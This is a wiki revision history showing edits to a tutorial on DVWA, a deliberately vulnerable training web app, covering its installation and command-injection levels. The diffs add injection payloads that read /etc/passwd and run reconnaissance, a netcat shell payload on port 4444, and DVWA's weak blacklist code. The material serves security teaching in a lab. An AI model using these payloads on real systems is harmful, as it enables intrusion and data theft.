DVWA - Revision history

NKirnbauer: expired link changed with link from wayback machine

2024-09-03T12:33:43Z

expired link changed with link from wayback machine

← Older revision		Revision as of 12:33, 3 September 2024
Line 9:		Line 9:

	The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:</br>		The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:</br>
	*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.</br>		*The application could be downloaded on the official homepage of DVWA (http://web.archive.org/web/20200125164747/http://www.dvwa.co.uk/). The ZIP file is extracted on any path.</br>
	[[File:DVWA official Website.png\|thumb\|none\|500px]]</br>		[[File:DVWA official Website.png\|thumb\|none\|500px]]</br>
	*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.</br>		*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.</br>

VHorvathova at 17:37, 30 January 2022

2022-01-30T17:37:02Z

← Older revision		Revision as of 17:37, 30 January 2022
Line 159:		Line 159:
	To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:		To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:
	1 \| netcat -v -e '/bin/bash' -l -p 4444		1 \| netcat -v -e '/bin/bash' -l -p 4444

	~~== XSS ==~~

	[[Category:Documentation]]		[[Category:Documentation]]

VHorvathova: /* Command execution */

2022-01-30T17:36:34Z

Command execution

← Older revision		Revision as of 17:36, 30 January 2022
Line 158:		Line 158:
	</ul></div>		</ul></div>
	To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:		To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:
	1 \| netcat -v -e ‘/bin/~~bash’~~ -l -p 4444		1 \| netcat -v -e '/bin/bash' -l -p 4444

	== XSS ==		== XSS ==

	[[Category:Documentation]]		[[Category:Documentation]]

VHorvathova: /* Command execution */

2022-01-30T17:36:16Z

Command execution

← Older revision		Revision as of 17:36, 30 January 2022
Line 157:		Line 157:
	<li style="display: inline-block;"> [[File:Dvwa6.png\|thumb\|none\|700px\|Command execution - Low security level]] </li>		<li style="display: inline-block;"> [[File:Dvwa6.png\|thumb\|none\|700px\|Command execution - Low security level]] </li>
	</ul></div>		</ul></div>
			To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is <b>nc -lvp 4444</b>) and enter the following into the DVWA input field:
			1 \| netcat -v -e ‘/bin/bash’ -l -p 4444

	== XSS ==		== XSS ==

	[[Category:Documentation]]		[[Category:Documentation]]

VHorvathova: /* Command execution */

2022-01-30T17:34:14Z

Command execution

← Older revision		Revision as of 17:34, 30 January 2022
Line 142:		Line 142:
	);		);
	Now we will perform a series of information gathering commands on low security setting as demonstrated below.		Now we will perform a series of information gathering commands on low security setting as demonstrated below.
			* Show the current directory's contents
			ls
			* Show in which directory path we currently find ourselves
			pwd
			* Who is the current user
			whoami
			* List the currently running processes
			ps
			* List information about the users read out from the /etc/passwd file
			cat /etc/passwd
			* Discover the hostname and the users that are logged in
			uname -a & users & id & w
	<div><ul>		<div><ul>
	<li style="display: inline-block;"> [[File:Dvwa6.png\|thumb\|none\|700px\|~~Medium and low~~ security level]] </li>		<li style="display: inline-block;"> [[File:Dvwa6.png\|thumb\|none\|700px\|Command execution - Low security level]] </li>
	</ul></div>		</ul></div>

VHorvathova: /* Command execution */

2022-01-30T17:29:21Z

Command execution

← Older revision		Revision as of 17:29, 30 January 2022
Line 141:		Line 141:
	'\|\|' => '',		'\|\|' => '',
	);		);
	Now we will perform a series of information gathering commands as demonstrated below.		Now we will perform a series of information gathering commands on low security setting as demonstrated below.
			<div><ul>
			<li style="display: inline-block;"> [[File:Dvwa6.png\|thumb\|none\|700px\|Medium and low security level]] </li>
			</ul></div>

	== XSS ==		== XSS ==

	[[Category:Documentation]]		[[Category:Documentation]]

VHorvathova: /* Command execution */

2022-01-30T17:21:12Z

Command execution

@@ Line 128: / Line 128: @@
   $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
-<br><b>High security level</b><br>
+<br><b>High security level</b>: The "substitutions" array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.<br>
 Now we will perform a series of information gathering commands as demonstrated below.

VHorvathova: /* Command execution */

2022-01-30T17:19:14Z

Command execution

← Older revision		Revision as of 17:19, 30 January 2022
Line 119:		Line 119:
	?>		?>
	<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>		<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>
	// Set blacklist		// Set blacklist
	$substitutions = array(		$substitutions = array(
	'&&' => '',		'&&' => '',
	';' => '',		';' => '',
	);		);

	// Remove any of the charactars in the array (blacklist).		// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );		$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	<br><b>High security level</b><br>		<br><b>High security level</b><br>

VHorvathova: /* Command execution */

2022-01-30T17:18:50Z

Command execution

← Older revision		Revision as of 17:18, 30 January 2022
Line 119:		Line 119:
	?>		?>
	<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>		<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>
	// Set blacklist		// Set blacklist
	$substitutions = array(		$substitutions = array(
	'&&' => '',		'&&' => '',

VHorvathova: /* Command execution */

2022-01-30T17:18:24Z

Command execution

← Older revision		Revision as of 17:18, 30 January 2022
Line 97:		Line 97:
	</ul></div>		</ul></div>
	We can see the difference between the security levels, which is based on the source code of the DVWA: <br>		We can see the difference between the security levels, which is based on the source code of the DVWA: <br>
	<br><b>Low security level</b><br>		<br><b>Low security level</b>: no input validation<br>
	<?php		<?php

Line 118:		Line 118:
	}		}
	?>		?>
	<br><b>Medium security level</b><br>		<br><b>Medium security level</b>: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.<br>
			// Set blacklist
			$substitutions = array(
			'&&' => '',
			';' => '',
			);

			// Remove any of the charactars in the array (blacklist).
			$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	<br><b>High security level</b><br>		<br><b>High security level</b><br>
	Now we will perform a series of information gathering commands as demonstrated below.		Now we will perform a series of information gathering commands as demonstrated below.